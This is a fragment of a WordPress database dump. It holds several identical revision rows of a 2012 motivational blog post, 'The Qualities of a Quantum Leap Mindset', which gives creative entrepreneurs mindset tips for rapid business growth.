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(2042, 2, '2012-03-12 18:40:42', '2012-03-13 01:40:42', '<img class="alignnone size-full wp-image-2040" title="quantum_leap1" src="http://whc.fbdev.org/wp-content/uploads/2012/03/quantum_leap1.jpg" alt="" width="490" height="355" />\r\n<h1><span style="color: #808080;">Many creative entrepreneurs take comfort in their gradual progress. When it comes to growing your creative business, wouldn’t you rather speed things up? Maybe even skip a few levels altogether?</span></h1>\r\nBit by bit, slow moving progress and incremental gains toward achieving your goals would seem logical and acceptable. Trouble is it just takes so much longer. Don’t you think it would be far more interesting and exciting to whiz past all your current circumstances at light speed? Of course you would, who wouldn’t?  If your interested in breaking a few physical laws, then making quantum leaps in your business growth will require multiplying your effectiveness by a power of ten, or hundred, or even a thousand.\r\n\r\nBut how?\r\n\r\nQuantum leaps are not the result of impatience but massive personal effectiveness. You can’t have any effect on the physical reality that exists now. You can’t make the outside world you find yourself in now amend itself to your schedule.  You can’t make the right clients show up when you desperately need business now.  You have no power whatsoever to change the current reality. Your current reality is a natural result of your past thinking.\r\n<h2><strong>Quantum leaps require a quantum leap mindset–a radically new way of thinking and behaving. It begins by knowing what you want, deciding to pursue it, and expecting it will be delivered to you–all at light speed!</strong></h2>\r\n<strong></strong>In 500 BC, Heraclitus wrote “ if you do not expect it, you will not find the unexpected”\r\n\r\nIt’s no fun clawing your way to the freaking middle!  I’m suggesting a formula for achievement that involves multiplying rather than adding– a geometric progression in your personal and professional effectiveness.\r\n\r\nRather than being satisfied with gradual progress and conventional growth, you can move several steps higher directly in a quantum leap towards your bigger, better future! This is a move that implies you place yourself far beyond the next logical step. Quantum leaps violate common sense, are often counter-intuitive, even paradoxical. As a result many entrepreneurs believe these moves are far-fetched, outrageous, even dangerous.\r\n\r\n<strong>Change your personal rules for the game of success.</strong>\r\n\r\nIt’s difficult to reframe a lifetime of limiting beliefs and unproductive behaviors. But that’s what a quantum leap requires–a change in your current point of view about how things work. As humans, we’re naturally predisposed to going with what we know works.  The game you played to get to your current level can’t be played by the same rules in the higher levels.\r\n\r\nTo accelerate your rate of achievement rapidly, you must employ new ideas and behaviors that change the rules of the game in ways that moves you forward by an order of magnitude. Here are a few principals and prerequisites to help you think about changing the rules of your success game by making a quantum leap toward your desires in life and business:\r\n\r\n<strong>Quit trying harder.</strong>\r\nYou’ll wear yourself out then you won’t be any good to anybody. Sooner or later you won’t be able to try harder. When you are stressed and stretched to your limits you will be blocked from insight, inspiration, creativity and innovative thinking–all necessary for a quantum leap.\r\n\r\n<strong>Ignore conventional approaches.</strong>\r\nOrdinarily, you might be tempted to go along with the tried and true. Ignore that temptation!  Quantum leaps are not governed by familiarlty, logic, common sense, or what is working now. If you’re trying to climb a wall, look for the doorway and walk through. If you are resisting and pushing, reverse your course and go with the flow.\r\n\r\n<strong>Focus on possibilities rather than obstacles.</strong>\r\nOne of my teachers has a simple but powerful expression “where you look is where you go”.  Stop looking at obstacles start believing in possibilities. When you focus your creative mind on possibilities, chances are you’ll be drawn to them with light speed.\r\n\r\n<strong>Suspend all your disbelief.</strong>\r\nIf you absolutely must doubt something, doubt your limits. Your doubt is a boat anchor on your progress. Quantum leaps and quantified proof cannot reside in the same space and time. Believe in your success, make the leap of faith, then act as if your success is guaranteed.\r\n\r\n<strong>Focus on the end not the means.</strong>\r\nYou don’t need to know “how”  but you sure as hell need to know where you’re going. You must have razor sharp conviction, and a crystal clear mental image of what you want to accomplish. Forget about methodology and doing the right things. Think of it this way- you’re not concerned with what happens in the middle of a jump–put your focus on where you’re going to land.\r\n\r\n<strong>Take different risks</strong>.\r\nQuantum leaps are not about taking big chances, this is about giving yourself a big chance. If you try to minimize, hedge your vulnerability by being safe in the status quo, you’ll kill your chances for a quantum leap. You don’t have to be reckless or impulsive to follow an opportunity you have been ignoring.\r\n\r\n<strong>Trust the unseen forces.</strong>\r\nThere are invisible forces and resources ready to make a profound difference in your progress. An absence of evidence is not evidence of their absence. You are at all times surrounded by possibility and opportunity. Like a fish, you don’t know you’re wet. Allow the unseen forces to do their good works in association with you.\r\n\r\n<strong>Stop wishing and wanting</strong>.\r\nThe marketplace rewards those who earn and desire, never because they desire or need.  Don’t confuse wishing and wanting with pursuing. You must take action. It’s nice and safe to wish for something. Pursuit, on the other hand, is essential for a quantum leaps. Move your ass!\r\n\r\n<strong>Go looking for failure, then use it.</strong>\r\nPerhaps you’re familiar with the expression ”perfection is the enemy of progress”? Nothing is perfect. Everything in the universe is constantly shifting and changing. So are you. Forget about the right time, the right resources, the perfect opportunity. There is only right now! Be willing to test the limits of what you are capable of by accepting failure. Failure is a necessary resource for sharpening the edge off your capabilities and making a quantum leap.\r\n\r\n<strong>Don’t get comfortable.</strong>\r\nComfort will put you sound asleep. Are you uncomfortable right now? If you are, that’s a good sign. Uneasiness is required when a quantum leap is underway. Let lose and ride the big wave of your quantum leap by playing out on the edges!\r\n\r\n<strong>Be open to your genius.</strong>\r\nEveryone has unique gifts, talents and capabilities. High achievers are always open to their genius. The part of their being that accomplishes things in an easy and relaxed way. Open up to your genius, find your wings.\r\n\r\n<strong>Do what matters to you.</strong>\r\nYou can’t make a quantum leap toward a lukewarm idea of the future. You must do what truly matters to you, something remarkable, special and precious enough to light a fire in your heart and under your ass. What is your “magnificent obsession”?\r\n\r\n<strong>Move before your ready.</strong>\r\nYou’ll discover, once underway, that you know more than you know you know. Stop getting ready to get ready. There is no preparation required for a quantum leap. The time to move is now with what you have and from where you stand.\r\n\r\n<strong>Look inside for opportunity.</strong>\r\nEverything that is needed right now for a quantum leap comes from within you. Everything. The opportunity, the timing, the power to perform–all these are within you, not in the circumstance outside you.', 'The Qualities of a Quantum Leap Mindset.', 0, '', 'inherit', 'open', 'open', '', '2039-revision-2', '', '', '2012-03-12 18:40:42', '2012-03-13 01:40:42', '', 2039, 'http://www.whitehotcenter.com/2012/03/2039-revision-2/', 0, 'revision', '', 0),
(2043, 2, '2012-03-12 18:41:20', '2012-03-13 01:41:20', '<img class="alignnone size-full wp-image-2040" title="quantum_leap1" src="http://whc.fbdev.org/wp-content/uploads/2012/03/quantum_leap1.jpg" alt="" width="490" height="355" />\r\n<h1><span style="color: #808080;">Many creative entrepreneurs take comfort in their gradual progress. When it comes to growing your creative business, wouldn’t you rather speed things up? Maybe even skip a few levels altogether?</span></h1>\r\nBit by bit, slow moving progress and incremental gains toward achieving your goals would seem logical and acceptable. Trouble is it just takes so much longer. Don’t you think it would be far more interesting and exciting to whiz past all your current circumstances at light speed? Of course you would, who wouldn’t?  If your interested in breaking a few physical laws, then making quantum leaps in your business growth will require multiplying your effectiveness by a power of ten, or hundred, or even a thousand.\r\n\r\nBut how?\r\n\r\nQuantum leaps are not the result of impatience but massive personal effectiveness. You can’t have any effect on the physical reality that exists now. You can’t make the outside world you find yourself in now amend itself to your schedule.  You can’t make the right clients show up when you desperately need business now.  You have no power whatsoever to change the current reality. Your current reality is a natural result of your past thinking.\r\n<h2><strong>Quantum leaps require a quantum leap mindset–a radically new way of thinking and behaving. It begins by knowing what you want, deciding to pursue it, and expecting it will be delivered to you–all at light speed!</strong></h2>\r\n<strong></strong>In 500 BC, Heraclitus wrote “ if you do not expect it, you will not find the unexpected”\r\n\r\nIt’s no fun clawing your way to the freaking middle!  I’m suggesting a formula for achievement that involves multiplying rather than adding– a geometric progression in your personal and professional effectiveness.\r\n\r\nRather than being satisfied with gradual progress and conventional growth, you can move several steps higher directly in a quantum leap towards your bigger, better future! This is a move that implies you place yourself far beyond the next logical step. Quantum leaps violate common sense, are often counter-intuitive, even paradoxical. As a result many entrepreneurs believe these moves are far-fetched, outrageous, even dangerous.\r\n\r\n<strong>Change your personal rules for the game of success.</strong>\r\n\r\nIt’s difficult to reframe a lifetime of limiting beliefs and unproductive behaviors. But that’s what a quantum leap requires–a change in your current point of view about how things work. As humans, we’re naturally predisposed to going with what we know works.  The game you played to get to your current level can’t be played by the same rules in the higher levels.\r\n\r\nTo accelerate your rate of achievement rapidly, you must employ new ideas and behaviors that change the rules of the game in ways that moves you forward by an order of magnitude. Here are a few principals and prerequisites to help you think about changing the rules of your success game by making a quantum leap toward your desires in life and business:\r\n\r\n<strong>Quit trying harder.</strong>\r\nYou’ll wear yourself out then you won’t be any good to anybody. Sooner or later you won’t be able to try harder. When you are stressed and stretched to your limits you will be blocked from insight, inspiration, creativity and innovative thinking–all necessary for a quantum leap.\r\n\r\n<strong>Ignore conventional approaches.</strong>\r\nOrdinarily, you might be tempted to go along with the tried and true. Ignore that temptation!  Quantum leaps are not governed by familiarlty, logic, common sense, or what is working now. If you’re trying to climb a wall, look for the doorway and walk through. If you are resisting and pushing, reverse your course and go with the flow.\r\n\r\n<strong>Focus on possibilities rather than obstacles.</strong>\r\nOne of my teachers has a simple but powerful expression “where you look is where you go”.  Stop looking at obstacles start believing in possibilities. When you focus your creative mind on possibilities, chances are you’ll be drawn to them with light speed.\r\n\r\n<strong>Suspend all your disbelief.</strong>\r\nIf you absolutely must doubt something, doubt your limits. Your doubt is a boat anchor on your progress. Quantum leaps and quantified proof cannot reside in the same space and time. Believe in your success, make the leap of faith, then act as if your success is guaranteed.\r\n\r\n<strong>Focus on the end not the means.</strong>\r\nYou don’t need to know “how”  but you sure as hell need to know where you’re going. You must have razor sharp conviction, and a crystal clear mental image of what you want to accomplish. Forget about methodology and doing the right things. Think of it this way- you’re not concerned with what happens in the middle of a jump–put your focus on where you’re going to land.\r\n\r\n<strong>Take different risks</strong>.\r\nQuantum leaps are not about taking big chances, this is about giving yourself a big chance. If you try to minimize, hedge your vulnerability by being safe in the status quo, you’ll kill your chances for a quantum leap. You don’t have to be reckless or impulsive to follow an opportunity you have been ignoring.\r\n\r\n<strong>Trust the unseen forces.</strong>\r\nThere are invisible forces and resources ready to make a profound difference in your progress. An absence of evidence is not evidence of their absence. You are at all times surrounded by possibility and opportunity. Like a fish, you don’t know you’re wet. Allow the unseen forces to do their good works in association with you.\r\n\r\n<strong>Stop wishing and wanting</strong>.\r\nThe marketplace rewards those who earn and desire, never because they desire or need.  Don’t confuse wishing and wanting with pursuing. You must take action. It’s nice and safe to wish for something. Pursuit, on the other hand, is essential for a quantum leaps. Move your ass!\r\n\r\n<strong>Go looking for failure, then use it.</strong>\r\nPerhaps you’re familiar with the expression ”perfection is the enemy of progress”? Nothing is perfect. Everything in the universe is constantly shifting and changing. So are you. Forget about the right time, the right resources, the perfect opportunity. There is only right now! Be willing to test the limits of what you are capable of by accepting failure. Failure is a necessary resource for sharpening the edge off your capabilities and making a quantum leap.\r\n\r\n<strong>Don’t get comfortable.</strong>\r\nComfort will put you sound asleep. Are you uncomfortable right now? If you are, that’s a good sign. Uneasiness is required when a quantum leap is underway. Let lose and ride the big wave of your quantum leap by playing out on the edges!\r\n\r\n<strong>Be open to your genius.</strong>\r\nEveryone has unique gifts, talents and capabilities. High achievers are always open to their genius. The part of their being that accomplishes things in an easy and relaxed way. Open up to your genius, find your wings.\r\n\r\n<strong>Do what matters to you.</strong>\r\nYou can’t make a quantum leap toward a lukewarm idea of the future. You must do what truly matters to you, something remarkable, special and precious enough to light a fire in your heart and under your ass. What is your “magnificent obsession”?\r\n\r\n<strong>Move before your ready.</strong>\r\nYou’ll discover, once underway, that you know more than you know you know. Stop getting ready to get ready. There is no preparation required for a quantum leap. The time to move is now with what you have and from where you stand.\r\n\r\n<strong>Look inside for opportunity.</strong>\r\nEverything that is needed right now for a quantum leap comes from within you. Everything. The opportunity, the timing, the power to perform–all these are within you, not in the circumstance outside you.', 'The Qualities of a Quantum Leap Mindset.', 0, '', 'inherit', 'open', 'open', '', '2039-revision-3', '', '', '2012-03-12 18:41:20', '2012-03-13 01:41:20', '', 2039, 'http://www.whitehotcenter.com/2012/03/2039-revision-3/', 0, 'revision', '', 0),
(2044, 2, '2012-03-12 18:41:30', '2012-03-13 01:41:30', '<img class="alignnone size-full wp-image-2040" title="quantum_leap1" src="http://whc.fbdev.org/wp-content/uploads/2012/03/quantum_leap1.jpg" alt="" width="490" height="355" />\r\n<h1><span style="color: #808080;">Many creative entrepreneurs take comfort in their gradual progress. When it comes to growing your creative business, wouldn’t you rather speed things up? Maybe even skip a few levels altogether?</span></h1>\r\nBit by bit, slow moving progress and incremental gains toward achieving your goals would seem logical and acceptable. Trouble is it just takes so much longer. Don’t you think it would be far more interesting and exciting to whiz past all your current circumstances at light speed? Of course you would, who wouldn’t?  If your interested in breaking a few physical laws, then making quantum leaps in your business growth will require multiplying your effectiveness by a power of ten, or hundred, or even a thousand.\r\n\r\nBut how?\r\n\r\nQuantum leaps are not the result of impatience but massive personal effectiveness. You can’t have any effect on the physical reality that exists now. You can’t make the outside world you find yourself in now amend itself to your schedule.  You can’t make the right clients show up when you desperately need business now.  You have no power whatsoever to change the current reality. Your current reality is a natural result of your past thinking.\r\n<h2><strong>Quantum leaps require a quantum leap mindset–a radically new way of thinking and behaving. It begins by knowing what you want, deciding to pursue it, and expecting it will be delivered to you–all at light speed!</strong></h2>\r\n<strong></strong>In 500 BC, Heraclitus wrote “ if you do not expect it, you will not find the unexpected”\r\n\r\nIt’s no fun clawing your way to the freaking middle!  I’m suggesting a formula for achievement that involves multiplying rather than adding– a geometric progression in your personal and professional effectiveness.\r\n\r\nRather than being satisfied with gradual progress and conventional growth, you can move several steps higher directly in a quantum leap towards your bigger, better future! This is a move that implies you place yourself far beyond the next logical step. Quantum leaps violate common sense, are often counter-intuitive, even paradoxical. As a result many entrepreneurs believe these moves are far-fetched, outrageous, even dangerous.\r\n\r\n<strong>Change your personal rules for the game of success.</strong>\r\n\r\nIt’s difficult to reframe a lifetime of limiting beliefs and unproductive behaviors. But that’s what a quantum leap requires–a change in your current point of view about how things work. As humans, we’re naturally predisposed to going with what we know works.  The game you played to get to your current level can’t be played by the same rules in the higher levels.\r\n\r\nTo accelerate your rate of achievement rapidly, you must employ new ideas and behaviors that change the rules of the game in ways that moves you forward by an order of magnitude. Here are a few principals and prerequisites to help you think about changing the rules of your success game by making a quantum leap toward your desires in life and business:\r\n\r\n<strong>Quit trying harder.</strong>\r\nYou’ll wear yourself out then you won’t be any good to anybody. Sooner or later you won’t be able to try harder. When you are stressed and stretched to your limits you will be blocked from insight, inspiration, creativity and innovative thinking–all necessary for a quantum leap.\r\n\r\n<strong>Ignore conventional approaches.</strong>\r\nOrdinarily, you might be tempted to go along with the tried and true. Ignore that temptation!  Quantum leaps are not governed by familiarlty, logic, common sense, or what is working now. If you’re trying to climb a wall, look for the doorway and walk through. If you are resisting and pushing, reverse your course and go with the flow.\r\n\r\n<strong>Focus on possibilities rather than obstacles.</strong>\r\nOne of my teachers has a simple but powerful expression “where you look is where you go”.  Stop looking at obstacles start believing in possibilities. When you focus your creative mind on possibilities, chances are you’ll be drawn to them with light speed.\r\n\r\n<strong>Suspend all your disbelief.</strong>\r\nIf you absolutely must doubt something, doubt your limits. Your doubt is a boat anchor on your progress. Quantum leaps and quantified proof cannot reside in the same space and time. Believe in your success, make the leap of faith, then act as if your success is guaranteed.\r\n\r\n<strong>Focus on the end not the means.</strong>\r\nYou don’t need to know “how”  but you sure as hell need to know where you’re going. You must have razor sharp conviction, and a crystal clear mental image of what you want to accomplish. Forget about methodology and doing the right things. Think of it this way- you’re not concerned with what happens in the middle of a jump–put your focus on where you’re going to land.\r\n\r\n<strong>Take different risks</strong>.\r\nQuantum leaps are not about taking big chances, this is about giving yourself a big chance. If you try to minimize, hedge your vulnerability by being safe in the status quo, you’ll kill your chances for a quantum leap. You don’t have to be reckless or impulsive to follow an opportunity you have been ignoring.\r\n\r\n<strong>Trust the unseen forces.</strong>\r\nThere are invisible forces and resources ready to make a profound difference in your progress. An absence of evidence is not evidence of their absence. You are at all times surrounded by possibility and opportunity. Like a fish, you don’t know you’re wet. Allow the unseen forces to do their good works in association with you.\r\n\r\n<strong>Stop wishing and wanting</strong>.\r\nThe marketplace rewards those who earn and desire, never because they desire or need.  Don’t confuse wishing and wanting with pursuing. You must take action. It’s nice and safe to wish for something. Pursuit, on the other hand, is essential for a quantum leaps. Move your ass!\r\n\r\n<strong>Go looking for failure, then use it.</strong>\r\nPerhaps you’re familiar with the expression ”perfection is the enemy of progress”? Nothing is perfect. Everything in the universe is constantly shifting and changing. So are you. Forget about the right time, the right resources, the perfect opportunity. There is only right now! Be willing to test the limits of what you are capable of by accepting failure. Failure is a necessary resource for sharpening the edge off your capabilities and making a quantum leap.\r\n\r\n<strong>Don’t get comfortable.</strong>\r\nComfort will put you sound asleep. Are you uncomfortable right now? If you are, that’s a good sign. Uneasiness is required when a quantum leap is underway. Let lose and ride the big wave of your quantum leap by playing out on the edges!\r\n\r\n<strong>Be open to your genius.</strong>\r\nEveryone has unique gifts, talents and capabilities. High achievers are always open to their genius. The part of their being that accomplishes things in an easy and relaxed way. Open up to your genius, find your wings.\r\n\r\n<strong>Do what matters to you.</strong>\r\nYou can’t make a quantum leap toward a lukewarm idea of the future. You must do what truly matters to you, something remarkable, special and precious enough to light a fire in your heart and under your ass. What is your “magnificent obsession”?\r\n\r\n<strong>Move before your ready.</strong>\r\nYou’ll discover, once underway, that you know more than you know you know. Stop getting ready to get ready. There is no preparation required for a quantum leap. The time to move is now with what you have and from where you stand.\r\n\r\n<strong>Look inside for opportunity.</strong>\r\nEverything that is needed right now for a quantum leap comes from within you. Everything. The opportunity, the timing, the power to perform–all these are within you, not in the circumstance outside you.', 'The Qualities of a Quantum Leap Mindset.', 0, '', 'inherit', 'open', 'open', '', '2039-revision-4', '', '', '2012-03-12 18:41:30', '2012-03-13 01:41:30', '', 2039, 'http://www.whitehotcenter.com/2012/03/2039-revision-4/', 0, 'revision', '', 0),
(2045, 2, '2012-03-12 18:50:54', '2012-03-13 01:50:54', '<img class="alignnone size-full wp-image-2040" title="quantum_leap1" src="http://whc.fbdev.org/wp-content/uploads/2012/03/quantum_leap1.jpg" alt="" width="490" height="355" />\r\n<h1><span style="color: #808080;">Many creative entrepreneurs take comfort in their gradual progress. When it comes to growing your creative business, wouldn’t you rather speed things up? Maybe even skip a few levels altogether?</span></h1>\r\nBit by bit, slow moving progress and incremental gains toward achieving your goals would seem logical and acceptable. Trouble is it just takes so much longer. Don’t you think it would be far more interesting and exciting to whiz past all your current circumstances at light speed? Of course you would, who wouldn’t?  If your interested in breaking a few physical laws, then making quantum leaps in your business growth will require multiplying your effectiveness by a power of ten, or hundred, or even a thousand.\r\n\r\nBut how?\r\n\r\nQuantum leaps are not the result of impatience but massive personal effectiveness. You can’t have any effect on the physical reality that exists now. You can’t make the outside world you find yourself in now amend itself to your schedule.  You can’t make the right clients show up when you desperately need business now.  You have no power whatsoever to change the current reality. Your current reality is a natural result of your past thinking.\r\n<h2><strong>Quantum leaps require a quantum leap mindset–a radically new way of thinking and behaving. It begins by knowing what you want, deciding to pursue it, and expecting it will be delivered to you–all at light speed!</strong></h2>\r\n<strong></strong>In 500 BC, Heraclitus wrote “ if you do not expect it, you will not find the unexpected”\r\n\r\nIt’s no fun clawing your way to the freaking middle!  I’m suggesting a formula for achievement that involves multiplying rather than adding– a geometric progression in your personal and professional effectiveness.\r\n\r\nRather than being satisfied with gradual progress and conventional growth, you can move several steps higher directly in a quantum leap towards your bigger, better future! This is a move that implies you place yourself far beyond the next logical step. Quantum leaps violate common sense, are often counter-intuitive, even paradoxical. As a result many entrepreneurs believe these moves are far-fetched, outrageous, even dangerous.\r\n\r\n<strong>Change your personal rules for the game of success.</strong>\r\n\r\nIt’s difficult to reframe a lifetime of limiting beliefs and unproductive behaviors. But that’s what a quantum leap requires–a change in your current point of view about how things work. As humans, we’re naturally predisposed to going with what we know works.  The game you played to get to your current level can’t be played by the same rules in the higher levels.\r\n\r\nTo accelerate your rate of achievement rapidly, you must employ new ideas and behaviors that change the rules of the game in ways that moves you forward by an order of magnitude. Here are a few principals and prerequisites to help you think about changing the rules of your success game by making a quantum leap toward your desires in life and business:\r\n\r\n<strong>Quit trying harder.</strong>\r\nYou’ll wear yourself out then you won’t be any good to anybody. Sooner or later you won’t be able to try harder. When you are stressed and stretched to your limits you will be blocked from insight, inspiration, creativity and innovative thinking–all necessary for a quantum leap.\r\n\r\n<strong>Ignore conventional approaches.</strong>\r\nOrdinarily, you might be tempted to go along with the tried and true. Ignore that temptation!  Quantum leaps are not governed by familiarlty, logic, common sense, or what is working now. If you’re trying to climb a wall, look for the doorway and walk through. If you are resisting and pushing, reverse your course and go with the flow.\r\n\r\n<strong>Focus on possibilities rather than obstacles.</strong>\r\nOne of my teachers has a simple but powerful expression “where you look is where you go”.  Stop looking at obstacles start believing in possibilities. When you focus your creative mind on possibilities, chances are you’ll be drawn to them with light speed.\r\n\r\n<strong>Suspend all your disbelief.</strong>\r\nIf you absolutely must doubt something, doubt your limits. Your doubt is a boat anchor on your progress. Quantum leaps and quantified proof cannot reside in the same space and time. Believe in your success, make the leap of faith, then act as if your success is guaranteed.\r\n\r\n<strong>Focus on the end not the means.</strong>\r\nYou don’t need to know “how”  but you sure as hell need to know where you’re going. You must have razor sharp conviction, and a crystal clear mental image of what you want to accomplish. Forget about methodology and doing the right things. Think of it this way- you’re not concerned with what happens in the middle of a jump–put your focus on where you’re going to land.\r\n\r\n<strong>Take different risks</strong>.\r\nQuantum leaps are not about taking big chances, this is about giving yourself a big chance. If you try to minimize, hedge your vulnerability by being safe in the status quo, you’ll kill your chances for a quantum leap. You don’t have to be reckless or impulsive to follow an opportunity you have been ignoring.\r\n\r\n<strong>Trust the unseen forces.</strong>\r\nThere are invisible forces and resources ready to make a profound difference in your progress. An absence of evidence is not evidence of their absence. You are at all times surrounded by possibility and opportunity. Like a fish, you don’t know you’re wet. Allow the unseen forces to do their good works in association with you.\r\n\r\n<strong>Stop wishing and wanting</strong>.\r\nThe marketplace rewards those who earn and desire, never because they desire or need.  Don’t confuse wishing and wanting with pursuing. You must take action. It’s nice and safe to wish for something. Pursuit, on the other hand, is essential for a quantum leaps. Move your ass!\r\n\r\n<strong>Go looking for failure, then use it.</strong>\r\nPerhaps you’re familiar with the expression ”perfection is the enemy of progress”? Nothing is perfect. Everything in the universe is constantly shifting and changing. So are you. Forget about the right time, the right resources, the perfect opportunity. There is only right now! Be willing to test the limits of what you are capable of by accepting failure. Failure is a necessary resource for sharpening the edge off your capabilities and making a quantum leap.\r\n\r\n<strong>Don’t get comfortable.</strong>\r\nComfort will put you sound asleep. Are you uncomfortable right now? If you are, that’s a good sign. Uneasiness is required when a quantum leap is underway. Let lose and ride the big wave of your quantum leap by playing out on the edges!\r\n\r\n<strong>Be open to your genius.</strong>\r\nEveryone has unique gifts, talents and capabilities. High achievers are always open to their genius. The part of their being that accomplishes things in an easy and relaxed way. Open up to your genius, find your wings.\r\n\r\n<strong>Do what matters to you.</strong>\r\nYou can’t make a quantum leap toward a lukewarm idea of the future. You must do what truly matters to you, something remarkable, special and precious enough to light a fire in your heart and under your ass. What is your “magnificent obsession”?\r\n\r\n<strong>Move before your ready.</strong>\r\nYou’ll discover, once underway, that you know more than you know you know. Stop getting ready to get ready. There is no preparation required for a quantum leap. The time to move is now with what you have and from where you stand.\r\n\r\n<strong>Look inside for opportunity.</strong>\r\nEverything that is needed right now for a quantum leap comes from within you. Everything. The opportunity, the timing, the power to perform–all these are within you, not in the circumstance outside you.', 'The Qualities of a Quantum Leap Mindset.', 0, '', 'inherit', 'open', 'open', '', '2039-revision-5', '', '', '2012-03-12 18:50:54', '2012-03-13 01:50:54', '', 2039, 'http://www.whitehotcenter.com/2012/03/2039-revision-5/', 0, 'revision', '', 0),
(2046, 2, '2012-03-12 18:51:03', '2012-03-13 01:51:03', '<img class="alignnone size-full wp-image-2040" title="quantum_leap1" src="http://whc.fbdev.org/wp-content/uploads/2012/03/quantum_leap1.jpg" alt="" width="490" height="355" />\r\n<h1><span style="color: #808080;">Many creative entrepreneurs take comfort in their gradual progress. When it comes to growing your creative business, wouldn’t you rather speed things up? Maybe even skip a few levels altogether?</span></h1>\r\nBit by bit, slow moving progress and incremental gains toward achieving your goals would seem logical and acceptable. Trouble is it just takes so much longer. Don’t you think it would be far more interesting and exciting to whiz past all your current circumstances at light speed? Of course you would, who wouldn’t?  If your interested in breaking a few physical laws, then making quantum leaps in your business growth will require multiplying your effectiveness by a power of ten, or hundred, or even a thousand.\r\n\r\nBut how?\r\n\r\nQuantum leaps are not the result of impatience but massive personal effectiveness. You can’t have any effect on the physical reality that exists now. You can’t make the outside world you find yourself in now amend itself to your schedule.  You can’t make the right clients show up when you desperately need business now.  You have no power whatsoever to change the current reality. Your current reality is a natural result of your past thinking.\r\n<h2><strong>Quantum leaps require a quantum leap mindset–a radically new way of thinking and behaving. It begins by knowing what you want, deciding to pursue it, and expecting it will be delivered to you–all at light speed!</strong></h2>\r\n<strong></strong>In 500 BC, Heraclitus wrote “ if you do not expect it, you will not find the unexpected”\r\n\r\nIt’s no fun clawing your way to the freaking middle!  I’m suggesting a formula for achievement that involves multiplying rather than adding– a geometric progression in your personal and professional effectiveness.\r\n\r\nRather than being satisfied with gradual progress and conventional growth, you can move several steps higher directly in a quantum leap towards your bigger, better future! This is a move that implies you place yourself far beyond the next logical step. Quantum leaps violate common sense, are often counter-intuitive, even paradoxical. As a result many entrepreneurs believe these moves are far-fetched, outrageous, even dangerous.\r\n\r\n<strong>Change your personal rules for the game of success.</strong>\r\n\r\nIt’s difficult to reframe a lifetime of limiting beliefs and unproductive behaviors. But that’s what a quantum leap requires–a change in your current point of view about how things work. As humans, we’re naturally predisposed to going with what we know works.  The game you played to get to your current level can’t be played by the same rules in the higher levels.\r\n\r\nTo accelerate your rate of achievement rapidly, you must employ new ideas and behaviors that change the rules of the game in ways that moves you forward by an order of magnitude. Here are a few principals and prerequisites to help you think about changing the rules of your success game by making a quantum leap toward your desires in life and business:\r\n\r\n<strong>Quit trying harder.</strong>\r\nYou’ll wear yourself out then you won’t be any good to anybody. Sooner or later you won’t be able to try harder. When you are stressed and stretched to your limits you will be blocked from insight, inspiration, creativity and innovative thinking–all necessary for a quantum leap.\r\n\r\n<strong>Ignore conventional approaches.</strong>\r\nOrdinarily, you might be tempted to go along with the tried and true. Ignore that temptation!  Quantum leaps are not governed by familiarlty, logic, common sense, or what is working now. If you’re trying to climb a wall, look for the doorway and walk through. If you are resisting and pushing, reverse your course and go with the flow.\r\n\r\n<strong>Focus on possibilities rather than obstacles.</strong>\r\nOne of my teachers has a simple but powerful expression “where you look is where you go”.  Stop looking at obstacles start believing in possibilities. When you focus your creative mind on possibilities, chances are you’ll be drawn to them with light speed.\r\n\r\n<strong>Suspend all your disbelief.</strong>\r\nIf you absolutely must doubt something, doubt your limits. Your doubt is a boat anchor on your progress. Quantum leaps and quantified proof cannot reside in the same space and time. Believe in your success, make the leap of faith, then act as if your success is guaranteed.\r\n\r\n<strong>Focus on the end not the means.</strong>\r\nYou don’t need to know “how”  but you sure as hell need to know where you’re going. You must have razor sharp conviction, and a crystal clear mental image of what you want to accomplish. Forget about methodology and doing the right things. Think of it this way- you’re not concerned with what happens in the middle of a jump–put your focus on where you’re going to land.\r\n\r\n<strong>Take different risks</strong>.\r\nQuantum leaps are not about taking big chances, this is about giving yourself a big chance. If you try to minimize, hedge your vulnerability by being safe in the status quo, you’ll kill your chances for a quantum leap. You don’t have to be reckless or impulsive to follow an opportunity you have been ignoring.\r\n\r\n<strong>Trust the unseen forces.</strong>\r\nThere are invisible forces and resources ready to make a profound difference in your progress. An absence of evidence is not evidence of their absence. You are at all times surrounded by possibility and opportunity. Like a fish, you don’t know you’re wet. Allow the unseen forces to do their good works in association with you.\r\n\r\n<strong>Stop wishing and wanting</strong>.\r\nThe marketplace rewards those who earn and desire, never because they desire or need.  Don’t confuse wishing and wanting with pursuing. You must take action. It’s nice and safe to wish for something. Pursuit, on the other hand, is essential for a quantum leaps. Move your ass!\r\n\r\n<strong>Go looking for failure, then use it.</strong>\r\nPerhaps you’re familiar with the expression ”perfection is the enemy of progress”? Nothing is perfect. Everything in the universe is constantly shifting and changing. So are you. Forget about the right time, the right resources, the perfect opportunity. There is only right now! Be willing to test the limits of what you are capable of by accepting failure. Failure is a necessary resource for sharpening the edge off your capabilities and making a quantum leap.\r\n\r\n<strong>Don’t get comfortable.</strong>\r\nComfort will put you sound asleep. Are you uncomfortable right now? If you are, that’s a good sign. Uneasiness is required when a quantum leap is underway. Let lose and ride the big wave of your quantum leap by playing out on the edges!\r\n\r\n<strong>Be open to your genius.</strong>\r\nEveryone has unique gifts, talents and capabilities. High achievers are always open to their genius. The part of their being that accomplishes things in an easy and relaxed way. Open up to your genius, find your wings.\r\n\r\n<strong>Do what matters to you.</strong>\r\nYou can’t make a quantum leap toward a lukewarm idea of the future. You must do what truly matters to you, something remarkable, special and precious enough to light a fire in your heart and under your ass. What is your “magnificent obsession”?\r\n\r\n<strong>Move before your ready.</strong>\r\nYou’ll discover, once underway, that you know more than you know you know. Stop getting ready to get ready. There is no preparation required for a quantum leap. The time to move is now with what you have and from where you stand.\r\n\r\n<strong>Look inside for opportunity.</strong>\r\nEverything that is needed right now for a quantum leap comes from within you. Everything. The opportunity, the timing, the power to perform–all these are within you, not in the circumstance outside you.', 'The Qualities of a Quantum Leap Mindset.', 0, '', 'inherit', 'open', 'open', '', '2039-revision-6', '', '', '2012-03-12 18:51:03', '2012-03-13 01:51:03', '', 2039, 'http://www.whitehotcenter.com/2012/03/2039-revision-6/', 0, 'revision', '', 0);
